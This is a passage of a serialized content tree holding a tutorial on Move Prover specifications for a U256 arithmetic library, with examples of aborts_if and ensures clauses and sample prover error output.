v3",{"type":21,"tag":198,"props":10318,"children":10319},{"style":683},[10320],{"type":27,"value":185},{"type":21,"tag":198,"props":10322,"children":10323},{"style":1966},[10324],{"type":27,"value":6673},{"type":21,"tag":198,"props":10326,"children":10327},{"style":211},[10328],{"type":27,"value":257},{"type":21,"tag":198,"props":10330,"children":10331},{"class":200,"line":302},[10332],{"type":21,"tag":198,"props":10333,"children":10334},{"style":211},[10335],{"type":27,"value":1120},{"type":21,"tag":30,"props":10337,"children":10338},{},[10339,10341,10347],{"type":27,"value":10340},"Now, let's consider the ",{"type":21,"tag":194,"props":10342,"children":10344},{"className":10343},[],[10345],{"type":27,"value":10346},"add(a: U256, b: U256): U256",{"type":27,"value":10348}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":21,"tag":30,"props":10350,"children":10351},{},[10352],{"type":27,"value":10353},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":21,"tag":30,"props":10355,"children":10356},{},[10357,10359,10365,10367,10374],{"type":27,"value":10358},"For example, if your file is ",{"type":21,"tag":194,"props":10360,"children":10362},{"className":10361},[],[10363],{"type":27,"value":10364},"sources/u256.move",{"type":27,"value":10366},", you can put specifications in ",{"type":21,"tag":34,"props":10368,"children":10371},{"href":10369,"rel":10370},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[38],[10372],{"type":27,"value":10373},"sources/u256.spec.move",{"type":27,"value":658},{"type":21,"tag":187,"props":10376,"children":10378},{"code":10377,"language":3788,"meta":7,"className":3789,"style":7},"spec add { ... }\n",[10379],{"type":21,"tag":194,"props":10380,"children":10381},{"__ignoreMap":7},[10382],{"type":21,"tag":198,"props":10383,"children":10384},{"class":200,"line":201},[10385,10389,10394,10398,10403],{"type":21,"tag":198,"props":10386,"children":10387},{"style":226},[10388],{"type":27,"value":9085},{"type":21,"tag":198,"props":10390,"children":10391},{"style":226},[10392],{"type":27,"value":10393}," add",{"type":21,"tag":198,"props":10395,"children":10396},{"style":211},[10397],{"type":27,"value":1891},{"type":21,"tag":198,"props":10399,"children":10400},{"style":683},[10401],{"type":27,"value":10402},"...",{"type":21,"tag":198,"props":10404,"children":10405},{"style":211},[10406],{"type":27,"value":1909},{"type":21,"tag":30,"props":10408,"children":10409},{},[10410,10412,10417],{"type":27,"value":10411},"The specifications placed inside the specification blocks are considered ",{"type":21,"tag":1671,"props":10413,"children":10414},{},[10415],{"type":27,"value":10416},"Expressions",{"type":27,"value":658},{"type":21,"tag":59,"props":10419,"children":10421},{"id":10420},"expressions",[10422],{"type":27,"value":10416},{"type":21,"tag":30,"props":10424,"children":10425},{},[10426],{"type":27,"value":10427},"Let's go over some common expressions.",{"type":21,"tag":30,"props":10429,"children":10430},{},[10431,10436],{"type":21,"tag":194,"props":10432,"children":10434},{"className":10433},[],[10435],{"type":27,"value":9135},{"type":27,"value":10437}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":21,"tag":30,"props":10439,"children":10440},{},[10441,10443,10449],{"type":27,"value":10442},"For example, the ",{"type":21,"tag":194,"props":10444,"children":10446},{"className":10445},[],[10447],{"type":27,"value":10448},"add",{"type":27,"value":10450}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":21,"tag":187,"props":10452,"children":10454},{"code":10453,"language":3788,"meta":7,"className":3789,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[10455],{"type":21,"tag":194,"props":10456,"children":10457},{"__ignoreMap":7},[10458,10491,10498,10547,10569,10598,10635,10676,10683,10690,10705,10786],{"type":21,"tag":198,"props":10459,"children":10460},{"class":200,"line":201},[10461,10465,10470,10474,10478,10482,10487],{"type":21,"tag":198,"props":10462,"children":10463},{"style":249},[10464],{"type":27,"value":2648},{"type":21,"tag":198,"props":10466,"children":10467},{"style":211},[10468],{"type":27,"value":10469}," P64",{"type":21,"tag":198,"props":10471,"children":10472},{"style":683},[10473],{"type":27,"value":185},{"type":21,"tag":198,"props":10475,"children":10476},{"style":1966},[10477],{"type":27,"value":9657},{"type":21,"tag":198,"props":10479,"children":10480},{"style":683},[10481],{"type":27,"value":979},{"type":21,"tag":198,"props":10483,"children":10484},{"style":2540},[10485],{"type":27,"value":10486}," 0x10000000000000000",{"type":21,"tag":198,"props":10488,"children":10489},{"style":211},[10490],{"type":27,"value":1483},{"type":21,"tag":198,"props":10492,"children":10493},{"class":200,"line":217},[10494],{"type":21,"tag":198,"props":10495,"children":10496},{"emptyLinePlaceholder":16},[10497],{"type":27,"value":1283},{"type":21,"tag":198,"props":10499,"children":10500},{"class":200,"line":236},[10501,10505,10509,10514,10518,10522,10526,10530,10534,10538,10543],{"type":21,"tag":198,"props":10502,"children":10503},{"style":226},[10504],{"type":27,"value":9085},{"type":21,"tag":198,"props":10506,"children":10507},{"style":226},[10508],{"type":27,"value":7019},{"type":21,"tag":198,"props":10510,"children":10511},{"style":698},[10512],{"type":27,"value":10513}," value_of_U256",{"type":21,"tag":198,"props":10515,"children":10516},{"style":211},[10517],{"type":27,"value":706},{"type":21,"tag":198,"props":10519,"children":10520},{"style":226},[10521],{"type":27,"value":34},{"type":21,"tag":198,"props":10523,"children":10524},{"style":683},[10525],{"type":27,"value":185},{"type":21,"tag":198,"props":10527,"children":10528},{"style":1966},[10529],{"type":27,"value":5542},{"type":21,"tag":198,"props":10531,"children":10532},{"style":211},[10533],{"type":27,"value":2109},{"type":21,"tag":198,"props":10535,"children":10536},{"style":683},[10537],{"type":27,"value":185},{"type":21,"tag":198,"props":10539,"children":10540},{"style":226},[10541],{"type":27,"value":10542}," num",{"type":21,"tag":198,"props":10544,"children":10545},{"style":211},[10546],{"type":27,"value":233},{"type":21,"tag":198,"props":10548,"children":10549},{"class":200,"line":260},[10550,10555,10559,10564],{"type":21,"tag":198,"props":10551,"children":10552},{"style":226},[10553],{"type":27,"value":10554}," a",{"type":21,"tag":198,"props":10556,"children":10557},{"style":683},[10558],{"type":27,"value":658},{"type":21,"tag":198,"props":10560,"children":10561},{"style":211},[10562],{"type":27,"value":10563},"v0 ",{"type":21,"tag":198,"props":10565,"children":10566},{"style":683},[10567],{"type":27,"value":10568},"+\n",{"type":21,"tag":198,"props":10570,"children":10571},{"class":200,"line":281},[10572,10576,10580,10585,10589,10593],{"type":21,"tag":198,"props":10573,"children":10574},{"style":226},[10575],{"type":27,"value":10554},{"type":21,"tag":198,"props":10577,"children":10578},{"style":683},[10579],{"type":27,"value":658},{"type":21,"tag":198,"props":10581,"children":10582},{"style":211},[10583],{"type":27,"value":10584},"v1 ",{"type":21,"tag":198,"props":10586,"children":10587},{"style":683},[10588],{"type":27,"value":5383},{"type":21,"tag":198,"props":10590,"children":10591},{"style":1966},[10592],{"type":27,"value":10469},{"type":21,"tag":198,"props":10594,"children":10595},{"style":683},[10596],{"type":27,"value":10597}," +\n",{"type":21,"tag":198,"props":10599,"children":10600},{"class":200,"line":302},[10601,10605,10609,10614,10618,10622,10627,10631],{"type":21,"tag":198,"props":10602,"children":10603},{"style":226},[10604],{"type":27,"value":10554},{"type":21,"tag":198,"props":10606,"children":10607},{"style":683},[10608],{"type":27,"value":658},{"type":21,"tag":198,"props":10610,"children":10611},{"style":211},[10612],{"type":27,"value":10613},"v2 ",{"type":21,"tag":198,"props":10615,"children":10616},{"style":683},[10617],{"type":27,"value":5383},{"type":21,"tag":198,"props":10619,"children":10620},{"style":1966},[10621],{"type":27,"value":10469},{"type":21,"tag":198,"props":10623,"children":10624},{"style":683},[10625],{"type":27,"value":10626}," *",{"type":21,"tag":198,"props":10628,"children":10629},{"style":1966},[10630],{"type":27,"value":10469},{"type":21,"tag":198,"props":10632,"children":10633},{"style":683},[10634],{"type":27,"value":10597},{"type":21,"tag":198,"props":10636,"children":10637},{"class":200,"line":323},[10638,10642,10646,10651,10655,10659,10663,10667,10671],{"type":21,"tag":198,"props":10639,"children":10640},{"style":226},[10641],{"type":27,"value":10554},{"type":21,"tag":198,"props":10643,"children":10644},{"style":683},[10645],{"type":27,"value":658},{"type":21,"tag":198,"props":10647,"children":10648},{"style":211},[10649],{"type":27,"value":10650},"v3 ",{"type":21,"tag":198,"props":10652,"children":10653},{"style":683},[10654],{"type":27,"value":5383},{"type":21,"tag":198,"props":10656,"children":10657},{"style":1966},[10658],{"type":27,"value":10469},{"type":21,"tag":198,"props":10660,"children":10661},{"style":683},[10662],{"type":27,"value":10626},{"type":21,"tag":198,"props":10664,"children":10665},{"style":1966},[10666],{"type":27,"value":10469},{"type":21,"tag":198,"props":10668,"children":10669},{"style":683},[10670],{"type":27,"value":10626},{"type":21,"tag":198,"props":10672,"children":10673},{"style":1966},[10674],{"type":27,"value":10675}," P64\n",{"type":21,"tag":198,"props":10677,"children":10678},{"class":200,"line":344},[10679],{"type":21,"tag":198,"props":10680,"children":10681},{"style":211},[10682],{"type":27,"value":1120},{"type":21,"tag":198,"props":10684,"children":10685},{"class":200,"line":365},[10686],{"type":21,"tag":198,"props":10687,"children":10688},{"emptyLinePlaceholder":16},[10689],{"type":27,"value":1283},{"type":21,"tag":198,"props":10691,"children":10692},{"class":200,"line":386},[10693,10697,10701],{"type":21,"tag":198,"props":10694,"children":10695},{"style":226},[10696],{"type":27,"value":9085},{"type":21,"tag":198,"props":10698,"children":10699},{"style":226},[10700],{"type":27,"value":10393},{"type":21,"tag":198,"props":10702,"children":10703},{"style":211},[10704],{"type":27,"value":233},{"type":21,"tag":198,"props":10706,"children":10707},{"class":200,"line":408},[10708,10713,10717,10721,10725,10729,10733,10737,10741,10745,10749,10754,10758,10762,10766,10770,10774,10778,10782],{"type":21,"tag":198,"props":10709,"children":10710},{"style":226},[10711],{"type":27,"value":10712}," aborts_if",{"type":21,"tag":198,"props":10714,"children":10715},{"style":698},[10716],{"type":27,"value":10513},{"type":21,"tag":198,"props":10718,"children":10719},{"style":211},[10720],{"type":27,"value":706},{"type":21,"tag":198,"props":10722,"children":10723},{"style":226},[10724],{"type":27,"value":34},{"type":21,"tag":198,"props":10726,"children":10727},{"style":211},[10728],{"type":27,"value":1541},{"type":21,"tag":198,"props":10730,"children":10731},{"style":683},[10732],{"type":27,"value":5193},{"type":21,"tag":198,"props":10734,"children":10735},{"style":698},[10736],{"type":27,"value":10513},{"type":21,"tag":198,"props":10738,"children":10739},{"style":211},[10740],{"type":27,"value":706},{"type":21,"tag":198,"props":10742,"children":10743},{"style":226},[10744],{"type":27,"value":4029},{"type":21,"tag":198,"props":10746,"children":10747},{"style":211},[10748],{"type":27,"value":1541},{"type":21,"tag":198,"props":10750,"children":10751},{"style":683},[10752],{"type":27,"value":10753},">=",{"type":21,"tag":198,"props":10755,"children":10756},{"style":1966},[10757],{"type":27,"value":10469},{"type":21,"tag":198,"props":10759,"children":10760},{"style":683},[10761],{"type":27,"value":10626},{"type":21,"tag":198,"props":10763,"children":10764},{"style":1966},[10765],{"type":27,"value":10469},{"type":21,"tag":198,"props":10767,"children":10768},{"style":683},[10769],{"type":27,"value":10626},{"type":21,"tag":198,"props":10771,"children":10772},{"style":1966},[10773],{"type":27,"value":10469},{"type":21,"tag":198,"props":10775,"children":10776},{"style":683},[10777],{"type":27,"value":10626},{"type":21,"tag":198,"props":10779,"children":10780},{"style":1966},[10781],{"type":27,"value":10469},{"type":21,"tag":198,"props":10783,"children":10784},{"style":211},[10785],{"type":27,"value":1483},{"type":21,"tag":198,"props":10787,"children":10788},{"class":200,"line":429},[10789],{"type":21,"tag":198,"props":10790,"children":10791},{"style":211},[10792],{"type":27,"value":1120},{"type":21,"tag":30,"props":10794,"children":10795},{},[10796,10798,10805],{"type":27,"value":10797},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":21,"tag":34,"props":10799,"children":10802},{"href":10800,"rel":10801},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[38],[10803],{"type":27,"value":10804},"MSL function",{"type":27,"value":10806},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":21,"tag":30,"props":10808,"children":10809},{},[10810,10812,10817,10818,10823],{"type":27,"value":10811},"A common pattern for ",{"type":21,"tag":194,"props":10813,"children":10815},{"className":10814},[],[10816],{"type":27,"value":9135},{"type":27,"value":6314},{"type":21,"tag":194,"props":10819,"children":10821},{"className":10820},[],[10822],{"type":27,"value":9143},{"type":27,"value":10824},", which lets you prove that a function will never abort.",{"type":21,"tag":187,"props":10826,"children":10828},{"code":10827,"language":3788,"meta":7,"className":3789,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[10829],{"type":21,"tag":194,"props":10830,"children":10831},{"__ignoreMap":7},[10832,10848,10863],{"type":21,"tag":198,"props":10833,"children":10834},{"class":200,"line":201},[10835,10839,10844],{"type":21,"tag":198,"props":10836,"children":10837},{"style":226},[10838],{"type":27,"value":9085},{"type":21,"tag":198,"props":10840,"children":10841},{"style":226},[10842],{"type":27,"value":10843}," critical_function",{"type":21,"tag":198,"props":10845,"children":10846},{"style":211},[10847],{"type":27,"value":233},{"type":21,"tag":198,"props":10849,"children":10850},{"class":200,"line":217},[10851,10855,10859],{"type":21,"tag":198,"props":10852,"children":10853},{"style":226},[10854],{"type":27,"value":10712},{"type":21,"tag":198,"props":10856,"children":10857},{"style":249},[10858],{"type":27,"value":9868},{"type":21,"tag":198,"props":10860,"children":10861},{"style":211},[10862],{"type":27,"value":1483},{"type":21,"tag":198,"props":10864,"children":10865},{"class":200,"line":236},[10866],{"type":21,"tag":198,"props":10867,"children":10868},{"style":211},[10869],{"type":27,"value":1120},{"type":21,"tag":30,"props":10871,"children":10872},{},[10873,10875,10881],{"type":27,"value":10874},"Another type of expression that we can use is ",{"type":21,"tag":194,"props":10876,"children":10878},{"className":10877},[],[10879],{"type":27,"value":10880},"ensures",{"type":27,"value":10882},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":21,"tag":30,"props":10884,"children":10885},{},[10886,10888,10893,10895,10900],{"type":27,"value":10887},"In the case of the ",{"type":21,"tag":194,"props":10889,"children":10891},{"className":10890},[],[10892],{"type":27,"value":10448},{"type":27,"value":10894}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":21,"tag":6137,"props":10896,"children":10897},{},[10898],{"type":27,"value":10899},"MSL uses unbounded numbers",{"type":27,"value":10901},", we're able to very cleanly express this property without worrying about overflows.",{"type":21,"tag":187,"props":10903,"children":10905},{"code":10904,"language":3788,"meta":7,"className":3789,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[10906],{"type":21,"tag":194,"props":10907,"children":10908},{"__ignoreMap":7},[10909,10924,11003,11067],{"type":21,"tag":198,"props":10910,"children":10911},{"class":200,"line":201},[10912,10916,10920],{"type":21,"tag":198,"props":10913,"children":10914},{"style":226},[10915],{"type":27,"value":9085},{"type":21,"tag":198,"props":10917,"children":10918},{"style":226},[10919],{"type":27,"value":10393},{"type":21,"tag":198,"props":10921,"children":10922},{"style":211},[10923],{"type":27,"value":233},{"type":21,"tag":198,"props":10925,"children":10926},{"class":200,"line":217},[10927,10931,10935,10939,10943,10947,10951,10955,10959,10963,10967,10971,10975,10979,10983,10987,10991,10995,10999],{"type":21,"tag":198,"props":10928,"children":10929},{"style":226},[10930],{"type":27,"value":10712},{"type":21,"tag":198,"props":10932,"children":10933},{"style":698},[10934],{"type":27,"value":10513},{"type":21,"tag":198,"props":10936,"children":10937},{"style":211},[10938],{"type":27,"value":706},{"type":21,"tag":198,"props":10940,"children":10941},{"style":226},[10942],{"type":27,"value":34},{"type":21,"tag":198,"props":10944,"children":10945},{"style":211},[10946],{"type":27,"value":1541},{"type":21,"tag":198,"props":10948,"children":10949},{"style":683},[10950],{"type":27,"value":5193},{"type":21,"tag":198,"props":10952,"children":10953},{"style":698},[10954],{"type":27,"value":10513},{"type":21,"tag":198,"props":10956,"children":10957},{"style":211},[10958],{"type":27,"value":706},{"type":21,"tag":198,"props":10960,"children":10961},{"style":226},[10962],{"type":27,"value":4029},{"type":21,"tag":198,"props":10964,"children":10965},{"style":211},[10966],{"type":27,"value":1541},{"type":21,"tag":198,"props":10968,"children":10969},{"style":683},[10970],{"type":27,"value":10753},{"type":21,"tag":198,"props":10972,"children":10973},{"style":1966},[10974],{"type":27,"value":10469},{"type":21,"tag":198,"props":10976,"children":10977},{"style":683},[10978],{"type":27,"value":10626},{"type":21,"tag":198,"props":10980,"children":10981},{"style":1966},[10982],{"type":27,"value":10469},{"type":21,"tag":198,"props":10984,"children":10985},{"style":683},[10986],{"type":27,"value":10626},{"type":21,"tag":198,"props":10988,"children":10989},{"style":1966},[10990],{"type":27,"value":10469},{"type":21,"tag":198,"props":10992,"children":10993},{"style":683},[10994],{"type":27,"value":10626},{"type":21,"tag":198,"props":10996,"children":10997},{"style":1966},[10998],{"type":27,"value":10469},{"type":21,"tag":198,"props":11000,"children":11001},{"style":211},[11002],{"type":27,"value":1483},{"type":21,"tag":198,"props":11004,"children":11005},{"class":200,"line":236},[11006,11011,11015,11019,11023,11027,11031,11035,11039,11043,11047,11051,11055,11059,11063],{"type":21,"tag":198,"props":11007,"children":11008},{"style":226},[11009],{"type":27,"value":11010}," ensures",{"type":21,"tag":198,"props":11012,"children":11013},{"style":698},[11014],{"type":27,"value":10513},{"type":21,"tag":198,"props":11016,"children":11017},{"style":211},[11018],{"type":27,"value":706},{"type":21,"tag":198,"props":11020,"children":11021},{"style":226},[11022],{"type":27,"value":9893},{"type":21,"tag":198,"props":11024,"children":11025},{"style":211},[11026],{"type":27,"value":1541},{"type":21,"tag":198,"props":11028,"children":11029},{"style":683},[11030],{"type":27,"value":9386},{"type":21,"tag":198,"props":11032,"children":11033},{"style":698},[11034],{"type":27,"value":10513},{"type":21,"tag":198,"props":11036,"children":11037},{"style":211},[11038],{"type":27,"value":706},{"type":21,"tag":198,"props":11040,"children":11041},{"style":226},[11042],{"type":27,"value":34},{"type":21,"tag":198,"props":11044,"children":11045},{"style":211},[11046],{"type":27,"value":1541},{"type":21,"tag":198,"props":11048,"children":11049},{"style":683},[11050],{"type":27,"value":5193},{"type":21,"tag":198,"props":11052,"children":11053},{"style":698},[11054],{"type":27,"value":10513},{"type":21,"tag":198,"props":11056,"children":11057},{"style":211},[11058],{"type":27,"value":706},{"type":21,"tag":198,"props":11060,"children":11061},{"style":226},[11062],{"type":27,"value":4029},{"type":21,"tag":198,"props":11064,"children":11065},{"style":211},[11066],{"type":27,"value":1470},{"type":21,"tag":198,"props":11068,"children":11069},{"class":200,"line":260},[11070],{"type":21,"tag":198,"props":11071,"children":11072},{"style":211},[11073],{"type":27,"value":1120},{"type":21,"tag":30,"props":11075,"children":11076},{},[11077],{"type":27,"value":11078},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":21,"tag":30,"props":11080,"children":11081},{},[11082],{"type":27,"value":11083},"Let's try to prove the library with the specifications from above:",{"type":21,"tag":187,"props":11085,"children":11087},{"code":11086,"language":5054,"meta":7,"className":5055,"style":7},"$ move prove\n",[11088],{"type":21,"tag":194,"props":11089,"children":11090},{"__ignoreMap":7},[11091],{"type":21,"tag":198,"props":11092,"children":11093},{"class":200,"line":201},[11094,11098,11103],{"type":21,"tag":198,"props":11095,"children":11096},{"style":698},[11097],{"type":27,"value":2227},{"type":21,"tag":198,"props":11099,"children":11100},{"style":205},[11101],{"type":27,"value":11102}," move",{"type":21,"tag":198,"props":11104,"children":11105},{"style":205},[11106],{"type":27,"value":11107}," prove\n",{"type":21,"tag":30,"props":11109,"children":11110},{},[11111],{"type":27,"value":11112},"It outputs the following error information:",{"type":21,"tag":187,"props":11114,"children":11116},{"code":11115,"language":5054,"meta":7,"className":5055,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[11117],{"type":21,"tag":194,"props":11118,"children":11119},{"__ignoreMap":7},[11120,11128,11135,11197,11218,11307,11375,11387,11395,11402,11409,11416,11434,11495,11512,11529,11601,11617,11625,11632,11682,11690,11707],{"type":21,"tag":198,"props":11121,"children":11122},{"class":200,"line":201},[11123],{"type":21,"tag":198,"props":11124,"children":11125},{"style":211},[11126],{"type":27,"value":11127},"[...]\n",{"type":21,"tag":198,"props":11129,"children":11130},{"class":200,"line":217},[11131],{"type":21,"tag":198,"props":11132,"children":11133},{"emptyLinePlaceholder":16},[11134],{"type":27,"value":1283},{"type":21,"tag":198,"props":11136,"children":11137},{"class":200,"line":236},[11138,11143,11148,11153,11158,11163,11168,11173,11178,11183,11187,11192],{"type":21,"tag":198,"props":11139,"children":11140},{"style":698},[11141],{"type":27,"value":11142},"error:",{"type":21,"tag":198,"props":11144,"children":11145},{"style":205},[11146],{"type":27,"value":11147}," abort",{"type":21,"tag":198,"props":11149,"children":11150},{"style":205},[11151],{"type":27,"value":11152}," not",{"type":21,"tag":198,"props":11154,"children":11155},{"style":205},[11156],{"type":27,"value":11157}," covered",{"type":21,"tag":198,"props":11159,"children":11160},{"style":205},[11161],{"type":27,"value":11162}," by",{"type":21,"tag":198,"props":11164,"children":11165},{"style":205},[11166],{"type":27,"value":11167}," any",{"type":21,"tag":198,"props":11169,"children":11170},{"style":205},[11171],{"type":27,"value":11172}," of",{"type":21,"tag":198,"props":11174,"children":11175},{"style":205},[11176],{"type":27,"value":11177}," the",{"type":21,"tag":198,"props":11179,"children":11180},{"style":205},[11181],{"type":27,"value":11182}," `",{"type":21,"tag":198,"props":11184,"children":11185},{"style":698},[11186],{"type":27,"value":9135},{"type":21,"tag":198,"props":11188,"children":11189},{"style":205},[11190],{"type":27,"value":11191},"`",{"type":21,"tag":198,"props":11193,"children":11194},{"style":698},[11195],{"type":27,"value":11196}," clauses\n",{"type":21,"tag":198,"props":11198,"children":11199},{"class":200,"line":260},[11200,11205,11210,11214],{"type":21,"tag":198,"props":11201,"children":11202},{"style":698},[11203],{"type":27,"value":11204},"╭",{"type":21,"tag":198,"props":11206,"children":11207},{"style":205},[11208],{"type":27,"value":11209}," spec",{"type":21,"tag":198,"props":11211,"children":11212},{"style":205},[11213],{"type":27,"value":10393},{"type":21,"tag":198,"props":11215,"children":11216},{"style":205},[11217],{"type":27,"value":233},{"type":21,"tag":198,"props":11219,"children":11220},{"class":200,"line":281},[11221,11225,11230,11234,11238,11242,11246,11250,11254,11258,11262,11266,11271,11275,11279,11283,11287,11291,11295,11299,11303],{"type":21,"tag":198,"props":11222,"children":11223},{"style":683},[11224],{"type":27,"value":2100},{"type":21,"tag":198,"props":11226,"children":11227},{"style":698},[11228],{"type":27,"value":11229}," aborts_if",{"type":21,"tag":198,"props":11231,"children":11232},{"style":205},[11233],{"type":27,"value":10513},{"type":21,"tag":198,"props":11235,"children":11236},{"style":211},[11237],{"type":27,"value":706},{"type":21,"tag":198,"props":11239,"children":11240},{"style":698},[11241],{"type":27,"value":34},{"type":21,"tag":198,"props":11243,"children":11244},{"style":211},[11245],{"type":27,"value":1541},{"type":21,"tag":198,"props":11247,"children":11248},{"style":205},[11249],{"type":27,"value":5193},{"type":21,"tag":198,"props":11251,"children":11252},{"style":205},[11253],{"type":27,"value":10513},{"type":21,"tag":198,"props":11255,"children":11256},{"style":211},[11257],{"type":27,"value":706},{"type":21,"tag":198,"props":11259,"children":11260},{"style":698},[11261],{"type":27,"value":4029},{"type":21,"tag":198,"props":11263,"children":11264},{"style":211},[11265],{"type":27,"value":1541},{"type":21,"tag":198,"props":11267,"children":11268},{"style":683},[11269],{"type":27,"value":11270},">",{"type":21,"tag":198,"props":11272,"children":11273},{"style":205},[11274],{"type":27,"value":3174},{"type":21,"tag":198,"props":11276,"children":11277},{"style":205},[11278],{"type":27,"value":10469},{"type":21,"tag":198,"props":11280,"children":11281},{"style":249},[11282],{"type":27,"value":10626},{"type":21,"tag":198,"props":11284,"children":11285},{"style":205},[11286],{"type":27,"value":10469},{"type":21,"tag":198,"props":11288,"children":11289},{"style":249},[11290],{"type":27,"value":10626},{"type":21,"tag":198,"props":11292,"children":11293},{"style":205},[11294],{"type":27,"value":10469},{"type":21,"tag":198,"props":11296,"children":11297},{"style":249},[11298],{"type":27,"value":10626},{"type":21,"tag":198,"props":11300,"children":11301},{"style":205},[11302],{"type":27,"value":10469},{"type":21,"tag":198,"props":11304,"children":11305},{"style":211},[11306],{"type":27,"value":1483},{"type":21,"tag":198,"props":11308,"children":11309},{"class":200,"line":302},[11310,11314,11319,11323,11327,11331,11335,11339,11343,11347,11351,11355,11359,11363,11367,11371],{"type":21,"tag":198,"props":11311,"children":11312},{"style":683},[11313],{"type":27,"value":2100},{"type":21,"tag":198,"props":11315,"children":11316},{"style":698},[11317],{"type":27,"value":11318}," ensures",{"type":21,"tag":198,"props":11320,"children":11321},{"style":205},[11322],{"type":27,"value":10513},{"type":21,"tag":198,"props":11324,"children":11325},{"style":211},[11326],{"type":27,"value":706},{"type":21,"tag":198,"props":11328,"children":11329},{"style":698},[11330],{"type":27,"value":9893},{"type":21,"tag":198,"props":11332,"children":11333},{"style":211},[11334],{"type":27,"value":1541},{"type":21,"tag":198,"props":11336,"children":11337},{"style":205},[11338],{"type":27,"value":9386},{"type":21,"tag":198,"props":11340,"children":11341},{"style":205},[11342],{"type":27,"value":10513},{"type":21,"tag":198,"props":11344,"children":11345},{"style":211},[11346],{"type":27,"value":706},{"type":21,"tag":198,"props":11348,"children":11349},{"style":698},[11350],{"type":27,"value":34},{"type":21,"tag":198,"props":11352,"children":11353},{"style":211},[11354],{"type":27,"value":1541},{"type":21,"tag":198,"props":11356,"children":11357},{"style":205},[11358],{"type":27,"value":5193},{"type":21,"tag":198,"props":11360,"children":11361},{"style":205},[11362],{"type":27,"value":10513},{"type":21,"tag":198,"props":11364,"children":11365},{"style":211},[11366],{"type":27,"value":706},{"type":21,"tag":198,"props":11368,"children":11369},{"style":698},[11370],{"type":27,"value":4029},{"type":21,"tag":198,"props":11372,"children":11373},{"style":211},[11374],{"type":27,"value":1470},{"type":21,"tag":198,"props":11376,"children":11377},{"class":200,"line":323},[11378,11382],{"type":21,"tag":198,"props":11379,"children":11380},{"style":683},[11381],{"type":27,"value":2100},{"type":21,"tag":198,"props":11383,"children":11384},{"style":211},[11385],{"type":27,"value":11386}," }\n",{"type":21,"tag":198,"props":11388,"children":11389},{"class":200,"line":344},[11390],{"type":21,"tag":198,"props":11391,"children":11392},{"style":698},[11393],{"type":27,"value":11394},"╰─────^\n",{"type":21,"tag":198,"props":11396,"children":11397},{"class":200,"line":365},[11398],{"type":21,"tag":198,"props":11399,"children":11400},{"emptyLinePlaceholder":16},[11401],{"type":27,"value":1283},{"type":21,"tag":198,"props":11403,"children":11404},{"class":200,"line":386},[11405],{"type":21,"tag":198,"props":11406,"children":11407},{"style":211},[11408],{"type":27,"value":11127},{"type":21,"tag":198,"props":11410,"children":11411},{"class":200,"line":408},[11412],{"type":21,"tag":198,"props":11413,"children":11414},{"emptyLinePlaceholder":16},[11415],{"type":27,"value":1283},{"type":21,"tag":198,"props":11417,"children":11418},{"class":200,"line":429},[11419,11424,11429],{"type":21,"tag":198,"props":11420,"children":11421},{"style":698},[11422],{"type":27,"value":11423}," at",{"type":21,"tag":198,"props":11425,"children":11426},{"style":205},[11427],{"type":27,"value":11428}," ./sources/u256.move:316:",{"type":21,"tag":198,"props":11430,"children":11431},{"style":205},[11432],{"type":27,"value":11433}," add\n",{"type":21,"tag":198,"props":11435,"children":11436},{"class":200,"line":450},[11437,11442,11447,11452,11456,11461,11465,11470,11475,11480,11485,11490],{"type":21,"tag":198,"props":11438,"children":11439},{"style":698},[11440],{"type":27,"value":11441}," enter",{"type":21,"tag":198,"props":11443,"children":11444},{"style":205},[11445],{"type":27,"value":11446}," loop,",{"type":21,"tag":198,"props":11448,"children":11449},{"style":205},[11450],{"type":27,"value":11451}," variable",{"type":21,"tag":198,"props":11453,"children":11454},{"style":211},[11455],{"type":27,"value":706},{"type":21,"tag":198,"props":11457,"children":11458},{"style":698},[11459],{"type":27,"value":11460},"s",{"type":21,"tag":198,"props":11462,"children":11463},{"style":211},[11464],{"type":27,"value":1541},{"type":21,"tag":198,"props":11466,"children":11467},{"style":205},[11468],{"type":27,"value":11469},"carry,",{"type":21,"tag":198,"props":11471,"children":11472},{"style":205},[11473],{"type":27,"value":11474}," i,",{"type":21,"tag":198,"props":11476,"children":11477},{"style":205},[11478],{"type":27,"value":11479}," ret",{"type":21,"tag":198,"props":11481,"children":11482},{"style":205},[11483],{"type":27,"value":11484}," havocked",{"type":21,"tag":198,"props":11486,"children":11487},{"style":205},[11488],{"type":27,"value":11489}," and",{"type":21,"tag":198,"props":11491,"children":11492},{"style":205},[11493],{"type":27,"value":11494}," 